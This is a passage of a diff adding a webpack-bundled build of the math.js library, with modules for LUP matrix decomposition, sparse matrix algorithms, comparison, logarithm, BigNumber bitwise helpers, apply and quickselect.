+ * + * slu, lsolve, lusolve, usolve + * + * @param {Matrix | Array} A A two dimensional matrix or array for which to get the LUP decomposition. + * + * @return {{L: Array | Matrix, U: Array | Matrix, P: Array.}} The lower triangular matrix, the upper triangular matrix and the permutation matrix. + */ + + var lup = typed('lup', { + 'DenseMatrix': function DenseMatrix(m) { + return _denseLUP(m); + }, + 'SparseMatrix': function SparseMatrix(m) { + return _sparseLUP(m); + }, + 'Array': function Array(a) { + // create dense matrix from array + var m = matrix(a); // lup, use matrix implementation + + var r = _denseLUP(m); // result + + + return { + L: r.L.valueOf(), + U: r.U.valueOf(), + p: r.p + }; + } + }); + + function _denseLUP(m) { + // rows & columns + var rows = m._size[0]; + var columns = m._size[1]; // minimum rows and columns + + var n = Math.min(rows, columns); // matrix array, clone original data + + var data = object.clone(m._data); // l matrix arrays + + var ldata = []; + var lsize = [rows, n]; // u matrix arrays + + var udata = []; + var usize = [n, columns]; // vars + + var i, j, k; // permutation vector + + var p = []; + + for (i = 0; i < rows; i++) { + p[i] = i; + } // loop columns + + + for (j = 0; j < columns; j++) { + // skip first column in upper triangular matrix + if (j > 0) { + // loop rows + for (i = 0; i < rows; i++) { + // min i,j + var min = Math.min(i, j); // v[i, j] + + var s = 0; // loop up to min + + for (k = 0; k < min; k++) { + // s = l[i, k] - data[k, j] + s = addScalar(s, multiplyScalar(data[i][k], data[k][j])); + } + + data[i][j] = subtract(data[i][j], s); + } + } // row with larger value in cvector, row >= j + + + var pi = j; + var pabsv = 0; + var vjj = 0; // loop rows + + for (i = j; i < rows; i++) { + // data @ i, j + var v = data[i][j]; // absolute value + + var absv = abs(v); // value is greater than pivote value + + if (larger(absv, pabsv)) { + // store row + pi = i; // update max value + + pabsv = absv; // value @ [j, j] + + vjj = v; + } + } // swap rows (j <-> pi) + + + if (j !== pi) { + // swap values j <-> pi in p + p[j] = [p[pi], p[pi] = p[j]][0]; // swap j <-> pi in data + + DenseMatrix._swapRows(j, pi, data); + } // check column is in lower triangular matrix + + + if (j < rows) { + // loop rows (lower triangular matrix) + for (i = j + 1; i < rows; i++) { + // value @ i, j + var vij = data[i][j]; + + if (!equalScalar(vij, 0)) { + // update data + data[i][j] = divideScalar(data[i][j], vjj); + } + } + } + } // loop columns + + + for (j = 0; j < columns; j++) { + // loop rows + for (i = 0; i < rows; i++) { + // initialize row in arrays + if (j === 0) { + // check row exists in upper triangular matrix + if (i < columns) { + // U + udata[i] = []; + } // L + + + ldata[i] = []; + } // check we are in the upper triangular matrix + + + if (i < j) { + // check row exists in upper triangular matrix + if (i < columns) { + // U + udata[i][j] = data[i][j]; + } // check column exists in lower triangular matrix + + + if (j < rows) { + // L + ldata[i][j] = 0; + } + + continue; + } // diagonal value + + + if (i === j) { + // check row exists in upper triangular matrix + if (i < columns) { + // U + udata[i][j] = data[i][j]; + } // check column exists in lower triangular matrix + + + if (j < rows) { + // L + ldata[i][j] = 1; + } + + continue; + } // check row exists in upper triangular matrix + + + if (i < columns) { + // U + udata[i][j] = 0; + } // check column exists in lower triangular matrix + + + if (j < rows) { + // L + ldata[i][j] = data[i][j]; + } + } + } // l matrix + + + var l = new DenseMatrix({ + data: ldata, + size: lsize + }); // u matrix + + var u = new DenseMatrix({ + data: udata, + size: usize + }); // p vector + + var pv = []; + + for (i = 0, n = p.length; i < n; i++) { + pv[p[i]] = i; + } // return matrices + + + return { + L: l, + U: u, + p: pv, + toString: function toString() { + return 'L: ' + this.L.toString() + '\nU: ' + this.U.toString() + '\nP: ' + this.p; + } + }; + } + + function _sparseLUP(m) { + // rows & columns + var rows = m._size[0]; + var columns = m._size[1]; // minimum rows and columns + + var n = Math.min(rows, columns); // matrix arrays (will not be modified, thanks to permutation vector) + + var values = m._values; + var index = m._index; + var ptr = m._ptr; // l matrix arrays + + var lvalues = []; + var lindex = []; + var lptr = []; + var lsize = [rows, n]; // u matrix arrays + + var uvalues = []; + var uindex = []; + var uptr = []; + var usize = [n, columns]; // vars + + var i, j, k; // permutation vectors, (current index -> original index) and (original index -> current index) + + var pvCo = []; + var pvOc = []; + + for (i = 0; i < rows; i++) { + pvCo[i] = i; + pvOc[i] = i; + } // swap indices in permutation vectors (condition x < y)! + + + var swapIndeces = function swapIndeces(x, y) { + // find pv indeces getting data from x and y + var kx = pvOc[x]; + var ky = pvOc[y]; // update permutation vector current -> original + + pvCo[kx] = y; + pvCo[ky] = x; // update permutation vector original -> current + + pvOc[x] = ky; + pvOc[y] = kx; + }; // loop columns + + + var _loop = function _loop() { + // sparse accumulator + var spa = new Spa(); // check lower triangular matrix has a value @ column j + + if (j < rows) { + // update ptr + lptr.push(lvalues.length); // first value in j column for lower triangular matrix + + lvalues.push(1); + lindex.push(j); + } // update ptr + + + uptr.push(uvalues.length); // k0 <= k < k1 where k0 = _ptr[j] && k1 = _ptr[j+1] + + var k0 = ptr[j]; + var k1 = ptr[j + 1]; // copy column j into sparse accumulator + + for (k = k0; k < k1; k++) { + // row + i = index[k]; // copy column values into sparse accumulator (use permutation vector) + + spa.set(pvCo[i], values[k]); + } // skip first column in upper triangular matrix + + + if (j > 0) { + // loop rows in column j (above diagonal) + spa.forEach(0, j - 1, function (k, vkj) { + // loop rows in column k (L) + SparseMatrix._forEachRow(k, lvalues, lindex, lptr, function (i, vik) { + // check row is below k + if (i > k) { + // update spa value + spa.accumulate(i, unaryMinus(multiplyScalar(vik, vkj))); + } + }); + }); + } // row with larger value in spa, row >= j + + + var pi = j; + var vjj = spa.get(j); + var pabsv = abs(vjj); // loop values in spa (order by row, below diagonal) + + spa.forEach(j + 1, rows - 1, function (x, v) { + // absolute value + var absv = abs(v); // value is greater than pivote value + + if (larger(absv, pabsv)) { + // store row + pi = x; // update max value + + pabsv = absv; // value @ [j, j] + + vjj = v; + } + }); // swap rows (j <-> pi) + + if (j !== pi) { + // swap values j <-> pi in L + SparseMatrix._swapRows(j, pi, lsize[1], lvalues, lindex, lptr); // swap values j <-> pi in U + + + SparseMatrix._swapRows(j, pi, usize[1], uvalues, uindex, uptr); // swap values in spa + + + spa.swap(j, pi); // update permutation vector (swap values @ j, pi) + + swapIndeces(j, pi); + } // loop values in spa (order by row) + + + spa.forEach(0, rows - 1, function (x, v) { + // check we are above diagonal + if (x <= j) { + // update upper triangular matrix + uvalues.push(v); + uindex.push(x); + } else { + // update value + v = divideScalar(v, vjj); // check value is non zero + + if (!equalScalar(v, 0)) { + // update lower triangular matrix + lvalues.push(v); + lindex.push(x); + } + } + }); + }; + + for (j = 0; j < columns; j++) { + _loop(); + } // update ptrs + + + uptr.push(uvalues.length); + lptr.push(lvalues.length); // return matrices + + return { + L: new SparseMatrix({ + values: lvalues, + index: lindex, + ptr: lptr, + size: lsize + }), + U: new SparseMatrix({ + values: uvalues, + index: uindex, + ptr: uptr, + size: usize + }), + p: pvCo, + toString: function toString() { + return 'L: ' + this.L.toString() + '\nU: ' + this.U.toString() + '\nP: ' + this.p; + } + }; + } + + return lup; +} + +exports.name = 'lup'; +exports.factory = factory; + +/***/ }), +/* 88 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory() { + /** + * This function "flips" its input about the integer -1. + * + * @param {Number} i The value to flip + * + * Reference: http://faculty.cse.tamu.edu/davis/publications.html + */ + var csFlip = function csFlip(i) { + // flip the value + return -i - 2; + }; + + return csFlip; +} + +exports.name = 'csFlip'; +exports.path = 'algebra.sparse'; +exports.factory = factory; + +/***/ }), +/* 89 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var nearlyEqual = __webpack_require__(3).nearlyEqual; + +var bigNearlyEqual = __webpack_require__(32); + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var algorithm03 = load(__webpack_require__(18)); + var algorithm07 = load(__webpack_require__(29)); + var algorithm12 = load(__webpack_require__(19)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + + var latex = __webpack_require__(4); + /** + * Test whether value x is larger or equal to y. + * + * The function returns true when x is larger than y or the relative + * difference between x and y is smaller than the configured epsilon. The + * function cannot be used to compare values smaller than approximately 2.22e-16. + * + * For matrices, the function is evaluated element wise. + * Strings are compared by their numerical value. + * + * Syntax: + * + * math.largerEq(x, y) + * + * Examples: + * + * math.larger(2, 1 + 1) // returns false + * math.largerEq(2, 1 + 1) // returns true + * + * See also: + * + * equal, unequal, smaller, smallerEq, larger, compare + * + * @param {number | BigNumber | Fraction | boolean | Unit | string | Array | Matrix} x First value to compare + * @param {number | BigNumber | Fraction | boolean | Unit | string | Array | Matrix} y Second value to compare + * @return {boolean | Array | Matrix} Returns true when the x is larger or equal to y, else returns false + */ + + + var largerEq = typed('largerEq', { + 'boolean, boolean': function booleanBoolean(x, y) { + return x >= y; + }, + 'number, number': function numberNumber(x, y) { + return x >= y || nearlyEqual(x, y, config.epsilon); + }, + 'BigNumber, BigNumber': function BigNumberBigNumber(x, y) { + return x.gte(y) || bigNearlyEqual(x, y, config.epsilon); + }, + 'Fraction, Fraction': function FractionFraction(x, y) { + return x.compare(y) !== -1; + }, + 'Complex, Complex': function ComplexComplex() { + throw new TypeError('No ordering relation is defined for complex numbers'); + }, + 'Unit, Unit': function UnitUnit(x, y) { + if (!x.equalBase(y)) { + throw new Error('Cannot compare units with different base'); + } + + return largerEq(x.value, y.value); + }, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm07(x, y, largerEq); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm03(y, x, largerEq, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm03(x, y, largerEq, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, largerEq); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return largerEq(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return largerEq(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return largerEq(x, matrix(y)); + }, + 'SparseMatrix, any': function SparseMatrixAny(x, y) { + return algorithm12(x, y, largerEq, false); + }, + 'DenseMatrix, any': function DenseMatrixAny(x, y) { + return algorithm14(x, y, largerEq, false); + }, + 'any, SparseMatrix': function anySparseMatrix(x, y) { + return algorithm12(y, x, largerEq, true); + }, + 'any, DenseMatrix': function anyDenseMatrix(x, y) { + return algorithm14(y, x, largerEq, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, largerEq, false).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, largerEq, true).valueOf(); + } + }); + largerEq.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['largerEq'], "${args[1]}\\right)") + }; + return largerEq; +} + +exports.name = 'largerEq'; +exports.factory = factory; + +/***/ }), +/* 90 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var util = __webpack_require__(31); + +var string = util.string; +var array = util.array; +var isArray = Array.isArray; + +function factory(type) { + var DenseMatrix = type.DenseMatrix; + /** + * Validates matrix and column vector b for backward/forward substitution algorithms. + * + * @param {Matrix} m An N x N matrix + * @param {Array | Matrix} b A column vector + * @param {Boolean} copy Return a copy of vector b + * + * @return {DenseMatrix} Dense column vector b + */ + + var solveValidation = function solveValidation(m, b, copy) { + // matrix size + var size = m.size(); // validate matrix dimensions + + if (size.length !== 2) { + throw new RangeError('Matrix must be two dimensional (size: ' + string.format(size) + ')'); + } // rows & columns + + + var rows = size[0]; + var columns = size[1]; // validate rows & columns + + if (rows !== columns) { + throw new RangeError('Matrix must be square (size: ' + string.format(size) + ')'); + } // vars + + + var data, i, bdata; // check b is matrix + + if (type.isMatrix(b)) { + // matrix size + var msize = b.size(); // vector + + if (msize.length === 1) { + // check vector length + if (msize[0] !== rows) { + throw new RangeError('Dimension mismatch. Matrix columns must match vector length.'); + } // create data array + + + data = []; // matrix data (DenseMatrix) + + bdata = b._data; // loop b data + + for (i = 0; i < rows; i++) { + // row array + data[i] = [bdata[i]]; + } // return Dense Matrix + + + return new DenseMatrix({ + data: data, + size: [rows, 1], + datatype: b._datatype + }); + } // two dimensions + + + if (msize.length === 2) { + // array must be a column vector + if (msize[0] !== rows || msize[1] !== 1) { + throw new RangeError('Dimension mismatch. Matrix columns must match vector length.'); + } // check matrix type + + + if (type.isDenseMatrix(b)) { + // check a copy is needed + if (copy) { + // create data array + data = []; // matrix data (DenseMatrix) + + bdata = b._data; // loop b data + + for (i = 0; i < rows; i++) { + // row array + data[i] = [bdata[i][0]]; + } // return Dense Matrix + + + return new DenseMatrix({ + data: data, + size: [rows, 1], + datatype: b._datatype + }); + } // b is already a column vector + + + return b; + } // create data array + + + data = []; + + for (i = 0; i < rows; i++) { + data[i] = [0]; + } // sparse matrix arrays + + + var values = b._values; + var index = b._index; + var ptr = b._ptr; // loop values in column 0 + + for (var k1 = ptr[1], k = ptr[0]; k < k1; k++) { + // row + i = index[k]; // add to data + + data[i][0] = values[k]; + } // return Dense Matrix + + + return new DenseMatrix({ + data: data, + size: [rows, 1], + datatype: b._datatype + }); + } // throw error + + + throw new RangeError('Dimension mismatch. Matrix columns must match vector length.'); + } // check b is array + + + if (isArray(b)) { + // size + var asize = array.size(b); // check matrix dimensions, vector + + if (asize.length === 1) { + // check vector length + if (asize[0] !== rows) { + throw new RangeError('Dimension mismatch. Matrix columns must match vector length.'); + } // create data array + + + data = []; // loop b + + for (i = 0; i < rows; i++) { + // row array + data[i] = [b[i]]; + } // return Dense Matrix + + + return new DenseMatrix({ + data: data, + size: [rows, 1] + }); + } + + if (asize.length === 2) { + // array must be a column vector + if (asize[0] !== rows || asize[1] !== 1) { + throw new RangeError('Dimension mismatch. Matrix columns must match vector length.'); + } // create data array + + + data = []; // loop b data + + for (i = 0; i < rows; i++) { + // row array + data[i] = [b[i][0]]; + } // return Dense Matrix + + + return new DenseMatrix({ + data: data, + size: [rows, 1] + }); + } // throw error + + + throw new RangeError('Dimension mismatch. Matrix columns must match vector length.'); + } + }; + + return solveValidation; +} + +exports.factory = factory; + +/***/ }), +/* 91 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + var divideScalar = load(__webpack_require__(12)); + /** + * Calculate the logarithm of a value. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.log(x) + * math.log(x, base) + * + * Examples: + * + * math.log(3.5) // returns 1.252762968495368 + * math.exp(math.log(2.4)) // returns 2.4 + * + * math.pow(10, 4) // returns 10000 + * math.log(10000, 10) // returns 4 + * math.log(10000) / math.log(10) // returns 4 + * + * math.log(1024, 2) // returns 10 + * math.pow(2, 10) // returns 1024 + * + * See also: + * + * exp, log2, log10, log1p + * + * @param {number | BigNumber | Complex | Array | Matrix} x + * Value for which to calculate the logarithm. + * @param {number | BigNumber | Complex} [base=e] + * Optional base for the logarithm. If not provided, the natural + * logarithm of `x` is calculated. + * @return {number | BigNumber | Complex | Array | Matrix} + * Returns the logarithm of `x` + */ + + var log = typed('log', { + 'number': function number(x) { + if (x >= 0 || config.predictable) { + return Math.log(x); + } else { + // negative value -> complex value computation + return new type.Complex(x, 0).log(); + } + }, + 'Complex': function Complex(x) { + return x.log(); + }, + 'BigNumber': function BigNumber(x) { + if (!x.isNegative() || config.predictable) { + return x.ln(); + } else { + // downgrade to number, return Complex valued result + return new type.Complex(x.toNumber(), 0).log(); + } + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, log); + }, + 'any, any': function anyAny(x, base) { + // calculate logarithm for a specified base, log(x, base) + return divideScalar(log(x), log(base)); + } + }); + log.toTex = { + 1: "\\ln\\left(${args[0]}\\right)", + 2: "\\log_{${args[1]}}\\left(${args[0]}\\right)" + }; + return log; +} + +exports.name = 'log'; +exports.factory = factory; + +/***/ }), +/* 92 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var bitNot = __webpack_require__(93); +/** + * Applies bitwise function to numbers + * @param {BigNumber} x + * @param {BigNumber} y + * @param {function (a, b)} func + * @return {BigNumber} + */ + + +module.exports = function bitwise(x, y, func) { + var BigNumber = x.constructor; + var xBits, yBits; + var xSign = +(x.s < 0); + var ySign = +(y.s < 0); + + if (xSign) { + xBits = decCoefficientToBinaryString(bitNot(x)); + + for (var i = 0; i < xBits.length; ++i) { + xBits[i] ^= 1; + } + } else { + xBits = decCoefficientToBinaryString(x); + } + + if (ySign) { + yBits = decCoefficientToBinaryString(bitNot(y)); + + for (var _i = 0; _i < yBits.length; ++_i) { + yBits[_i] ^= 1; + } + } else { + yBits = decCoefficientToBinaryString(y); + } + + var minBits, maxBits, minSign; + + if (xBits.length <= yBits.length) { + minBits = xBits; + maxBits = yBits; + minSign = xSign; + } else { + minBits = yBits; + maxBits = xBits; + minSign = ySign; + } + + var shortLen = minBits.length; + var longLen = maxBits.length; + var expFuncVal = func(xSign, ySign) ^ 1; + var outVal = new BigNumber(expFuncVal ^ 1); + var twoPower = new BigNumber(1); + var two = new BigNumber(2); + var prevPrec = BigNumber.precision; + BigNumber.config({ + precision: 1E9 + }); + + while (shortLen > 0) { + if (func(minBits[--shortLen], maxBits[--longLen]) === expFuncVal) { + outVal = outVal.plus(twoPower); + } + + twoPower = twoPower.times(two); + } + + while (longLen > 0) { + if (func(minSign, maxBits[--longLen]) === expFuncVal) { + outVal = outVal.plus(twoPower); + } + + twoPower = twoPower.times(two); + } + + BigNumber.config({ + precision: prevPrec + }); + + if (expFuncVal === 0) { + outVal.s = -outVal.s; + } + + return outVal; +}; +/* Extracted from decimal.js, and edited to specialize. */ + + +function decCoefficientToBinaryString(x) { + // Convert to string + var a = x.d; // array with digits + + var r = a[0] + ''; + + for (var i = 1; i < a.length; ++i) { + var s = a[i] + ''; + + for (var z = 7 - s.length; z--;) { + s = '0' + s; + } + + r += s; + } + + var j = r.length; + + while (r.charAt(j) === '0') { + j--; + } + + var xe = x.e; + var str = r.slice(0, j + 1 || 1); + var strL = str.length; + + if (xe > 0) { + if (++xe > strL) { + // Append zeros. + xe -= strL; + + while (xe--) { + str += '0'; + } + } else if (xe < strL) { + str = str.slice(0, xe) + '.' + str.slice(xe); + } + } // Convert from base 10 (decimal) to base 2 + + + var arr = [0]; + + for (var _i2 = 0; _i2 < str.length;) { + var arrL = arr.length; + + while (arrL--) { + arr[arrL] *= 10; + } + + arr[0] += parseInt(str.charAt(_i2++)); // convert to int + + for (var _j = 0; _j < arr.length; ++_j) { + if (arr[_j] > 1) { + if (arr[_j + 1] === null || arr[_j + 1] === undefined) { + arr[_j + 1] = 0; + } + + arr[_j + 1] += arr[_j] >> 1; + arr[_j] &= 1; + } + } + } + + return arr.reverse(); +} + +/***/ }), +/* 93 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +/** + * Bitwise not + * @param {BigNumber} x + * @return {BigNumber} Result of ~`x`, fully precise + * + */ + +module.exports = function bitNot(x) { + if (x.isFinite() && !x.isInteger()) { + throw new Error('Integer expected in function bitNot'); + } + + var BigNumber = x.constructor; + var prevPrec = BigNumber.precision; + BigNumber.config({ + precision: 1E9 + }); + var result = x.plus(new BigNumber(1)); + result.s = -result.s || null; + BigNumber.config({ + precision: prevPrec + }); + return result; +}; + +/***/ }), +/* 94 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var DimensionError = __webpack_require__(8); + +function factory(type, config, load, typed) { + var equalScalar = load(__webpack_require__(11)); + var SparseMatrix = type.SparseMatrix; + /** + * Iterates over SparseMatrix A and SparseMatrix B nonzero items and invokes the callback function f(Aij, Bij). + * Callback function invoked MAX(NNZA, NNZB) times + * + * + * ┌ f(Aij, Bij) ; A(i,j) !== 0 && B(i,j) !== 0 + * C(i,j) = ┤ A(i,j) ; A(i,j) !== 0 + * └ 0 ; otherwise + * + * + * @param {Matrix} a The SparseMatrix instance (A) + * @param {Matrix} b The SparseMatrix instance (B) + * @param {Function} callback The f(Aij,Bij) operation to invoke + * + * @return {Matrix} SparseMatrix (C) + * + * see https://github.com/josdejong/mathjs/pull/346#issuecomment-97620294 + */ + + var algorithm08 = function algorithm08(a, b, callback) { + // sparse matrix arrays + var avalues = a._values; + var aindex = a._index; + var aptr = a._ptr; + var asize = a._size; + var adt = a._datatype; // sparse matrix arrays + + var bvalues = b._values; + var bindex = b._index; + var bptr = b._ptr; + var bsize = b._size; + var bdt = b._datatype; // validate dimensions + + if (asize.length !== bsize.length) { + throw new DimensionError(asize.length, bsize.length); + } // check rows & columns + + + if (asize[0] !== bsize[0] || asize[1] !== bsize[1]) { + throw new RangeError('Dimension mismatch. Matrix A (' + asize + ') must match Matrix B (' + bsize + ')'); + } // sparse matrix cannot be a Pattern matrix + + + if (!avalues || !bvalues) { + throw new Error('Cannot perform operation on Pattern Sparse Matrices'); + } // rows & columns + + + var rows = asize[0]; + var columns = asize[1]; // datatype + + var dt; // equal signature to use + + var eq = equalScalar; // zero value + + var zero = 0; // callback signature to use + + var cf = callback; // process data types + + if (typeof adt === 'string' && adt === bdt) { + // datatype + dt = adt; // find signature that matches (dt, dt) + + eq = typed.find(equalScalar, [dt, dt]); // convert 0 to the same datatype + + zero = typed.convert(0, dt); // callback + + cf = typed.find(callback, [dt, dt]); + } // result arrays + + + var cvalues = []; + var cindex = []; + var cptr = []; // matrix + + var c = new SparseMatrix({ + values: cvalues, + index: cindex, + ptr: cptr, + size: [rows, columns], + datatype: dt + }); // workspace + + var x = []; // marks indicating we have a value in x for a given column + + var w = []; // vars + + var k, k0, k1, i; // loop columns + + for (var j = 0; j < columns; j++) { + // update cptr + cptr[j] = cindex.length; // columns mark + + var mark = j + 1; // loop values in a + + for (k0 = aptr[j], k1 = aptr[j + 1], k = k0; k < k1; k++) { + // row + i = aindex[k]; // mark workspace + + w[i] = mark; // set value + + x[i] = avalues[k]; // add index + + cindex.push(i); + } // loop values in b + + + for (k0 = bptr[j], k1 = bptr[j + 1], k = k0; k < k1; k++) { + // row + i = bindex[k]; // check value exists in workspace + + if (w[i] === mark) { + // evaluate callback + x[i] = cf(x[i], bvalues[k]); + } + } // initialize first index in j + + + k = cptr[j]; // loop index in j + + while (k < cindex.length) { + // row + i = cindex[k]; // value @ i + + var v = x[i]; // check for zero value + + if (!eq(v, zero)) { + // push value + cvalues.push(v); // increment pointer + + k++; + } else { + // remove value @ i, do not increment pointer + cindex.splice(k, 1); + } + } + } // update cptr + + + cptr[columns] = cindex.length; // return sparse matrix + + return c; + }; + + return algorithm08; +} + +exports.name = 'algorithm08'; +exports.factory = factory; + +/***/ }), +/* 95 */ +/***/ (function(module, exports) { + +/** @param {integer} i + * @param {integer} n + * @returns : product of i to n + */ +function product(i, n) { + var half; + + if (n < i) { + return 1; + } + + if (n === i) { + return n; + } + + half = n + i >> 1; // divide (n + i) by 2 and truncate to integer + + return product(i, half) * product(half + 1, n); +} + +module.exports = product; + +/***/ }), +/* 96 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var arraySize = __webpack_require__(2).size; + +var isMatrix = __webpack_require__(56); + +var IndexError = __webpack_require__(48); + +function factory(type, config, load, typed) { + var isInteger = load(__webpack_require__(34)); + /** + * Apply a function that maps an array to a scalar + * along a given axis of a matrix or array. + * Returns a new matrix or array with one less dimension than the input. + * + * Syntax: + * + * math.apply(A, dim, callback) + * + * Where: + * + * - `dim: number` is a zero-based dimension over which to concatenate the matrices. + * + * Examples: + * + * const A = [[1, 2], [3, 4]] + * const sum = math.sum + * + * math.apply(A, 0, sum) // returns [4, 6] + * math.apply(A, 1, sum) // returns [3, 7] + * + * See also: + * + * map, filter, forEach + * + * @param {Array | Matrix} array The input Matrix + * @param {number} dim The dimension along which the callback is applied + * @param {Function} callback The callback function that is applied. This Function + * should take an array or 1-d matrix as an input and + * return a number. + * @return {Array | Matrix} res The residual matrix with the function applied over some dimension. + */ + + var apply = typed('apply', { + 'Array | Matrix, number | BigNumber, function': function ArrayMatrixNumberBigNumberFunction(mat, dim, callback) { + if (!isInteger(dim)) { + throw new TypeError('Integer number expected for dimension'); + } + + var size = Array.isArray(mat) ? arraySize(mat) : mat.size(); + + if (dim < 0 || dim >= size.length) { + throw new IndexError(dim, size.length); + } + + if (isMatrix(mat)) { + return mat.create(_apply(mat.valueOf(), dim, callback)); + } else { + return _apply(mat, dim, callback); + } + } + }); + apply.toTex = undefined; // use default template + + return apply; +} +/** + * Recursively reduce a matrix + * @param {Array} mat + * @param {number} dim + * @param {Function} callback + * @returns {Array} ret + * @private + */ + + +function _apply(mat, dim, callback) { + var i, ret, tran; + + if (dim <= 0) { + if (!Array.isArray(mat[0])) { + return callback(mat); + } else { + tran = _switch(mat); + ret = []; + + for (i = 0; i < tran.length; i++) { + ret[i] = _apply(tran[i], dim - 1, callback); + } + + return ret; + } + } else { + ret = []; + + for (i = 0; i < mat.length; i++) { + ret[i] = _apply(mat[i], dim - 1, callback); + } + + return ret; + } +} +/** + * Transpose a matrix + * @param {Array} mat + * @returns {Array} ret + * @private + */ + + +function _switch(mat) { + var I = mat.length; + var J = mat[0].length; + var i, j; + var ret = []; + + for (j = 0; j < J; j++) { + var tmp = []; + + for (i = 0; i < I; i++) { + tmp.push(mat[i][j]); + } + + ret.push(tmp); + } + + return ret; +} + +exports.name = 'apply'; +exports.factory = factory; + +/***/ }), +/* 97 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isInteger = __webpack_require__(3).isInteger; + +function factory(type, config, load, typed) { + var isNumeric = load(__webpack_require__(52)); + var isNaN = load(__webpack_require__(79)); + var asc = load(__webpack_require__(55)); + + function desc(a, b) { + return -asc(a, b); + } + /** + * Partition-based selection of an array or 1D matrix. + * Will find the kth smallest value, and mutates the input array. + * Uses Quickselect. + * + * Syntax: + * + * math.partitionSelect(x, k) + * math.partitionSelect(x, k, compare) + * + * Examples: + * + * math.partitionSelect([5, 10, 1], 2) // returns 10 + * math.partitionSelect(['C', 'B', 'A', 'D'], 1) // returns 'B' + * + * function sortByLength (a, b) { + * return a.length - b.length + * } + * math.partitionSelect(['Langdon', 'Tom', 'Sara'], 2, sortByLength) // returns 'Langdon' + * + * See also: + * + * sort + * + * @param {Matrix | Array} x A one dimensional matrix or array to sort + * @param {Number} k The kth smallest value to be retrieved zero-based index + * @param {Function | 'asc' | 'desc'} [compare='asc'] + * An optional comparator function. The function is called as + * `compare(a, b)`, and must return 1 when a > b, -1 when a < b, + * and 0 when a == b. + * @return {*} Returns the kth lowest value. + */ + + + return typed('partitionSelect', { + 'Array | Matrix, number': function ArrayMatrixNumber(x, k) { + return _partitionSelect(x, k, asc); + }, + 'Array | Matrix, number, string': function ArrayMatrixNumberString(x, k, compare) { + if (compare === 'asc') { + return _partitionSelect(x, k, asc); + } else if (compare === 'desc') { + return _partitionSelect(x, k, desc); + } else { + throw new Error('Compare string must be "asc" or "desc"'); + } + }, + 'Array | Matrix, number, function': _partitionSelect + }); + + function _partitionSelect(x, k, compare) { + if (!isInteger(k) || k < 0) { + throw new Error('k must be a non-negative integer'); + } + + if (type.isMatrix(x)) { + var size = x.size(); + + if (size.length > 1) { + throw new Error('Only one dimensional matrices supported'); + } + + return quickSelect(x.valueOf(), k, compare); + } + + if (Array.isArray(x)) { + return quickSelect(x, k, compare); + } + } + /** + * Quickselect algorithm. + * Code adapted from: + * https://blog.teamleadnet.com/2012/07/quick-select-algorithm-find-kth-element.html + * + * @param {Array} arr + * @param {Number} k + * @param {Function} compare + * @private + */ + + + function quickSelect(arr, k, compare) { + if (k >= arr.length) { + throw new Error('k out of bounds'); + } // check for NaN values since these can cause an infinite while loop + + + for (var i = 0; i < arr.length; i++) { + if (isNumeric(arr[i]) && isNaN(arr[i])) { + return arr[i]; // return NaN + } + } + + var from = 0; + var to = arr.length - 1; // if from == to we reached the kth element + + while (from < to) { + var r = from; + var w = to; + var pivot = arr[Math.floor(Math.random() * (to - from + 1)) + from]; // stop if the reader and writer meets + + while (r < w) { + // arr[r] >= pivot + if (compare(arr[r], pivot) >= 0) { + // put the large values at the end + var tmp = arr[w]; + arr[w] = arr[r]; + arr[r] = tmp; + --w; + } else { + // the value is smaller than the pivot, skip + ++r; + } + } // if we stepped up (r++) we need to step one down (arr[r] > pivot) + + + if (compare(arr[r], pivot) > 0) { + --r; + } // the r pointer is on the end of the first k elements + + + if (k <= r) { + to = r; + } else { + from = r + 1; + } + } + + return arr[k]; + } +} + +exports.name = 'partitionSelect'; +exports.factory = factory; + +/***/ }), +/* 98 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepForEach = __webpack_require__(47); + +var reduce = __webpack_require__(80); + +var containsCollections = __webpack_require__(62); + +function factory(type, config, load, typed) { + var larger = load(__webpack_require__(33)); + var improveErrorMessage = load(__webpack_require__(40)); + /** + * Compute the maximum value of a matrix or a list with values. + * In case of a multi dimensional array, the maximum of the flattened array + * will be calculated. When `dim` is provided, the maximum over the selected + * dimension will be calculated. Parameter `dim` is zero-based. + * + * Syntax: + * + * math.max(a, b, c, ...) + * math.max(A) + * math.max(A, dim) + * + * Examples: + * + * math.max(2, 1, 4, 3) // returns 4 + * math.max([2, 1, 4, 3]) // returns 4 + * + * // maximum over a specified dimension (zero-based) + * math.max([[2, 5], [4, 3], [1, 7]], 0) // returns [4, 7] + * math.max([[2, 5], [4, 3]], [1, 7], 1) // returns [5, 4, 7] + * + * math.max(2.7, 7.1, -4.5, 2.0, 4.1) // returns 7.1 + * math.min(2.7, 7.1, -4.5, 2.0, 4.1) // returns -4.5 + * + * See also: + * + * mean, median, min, 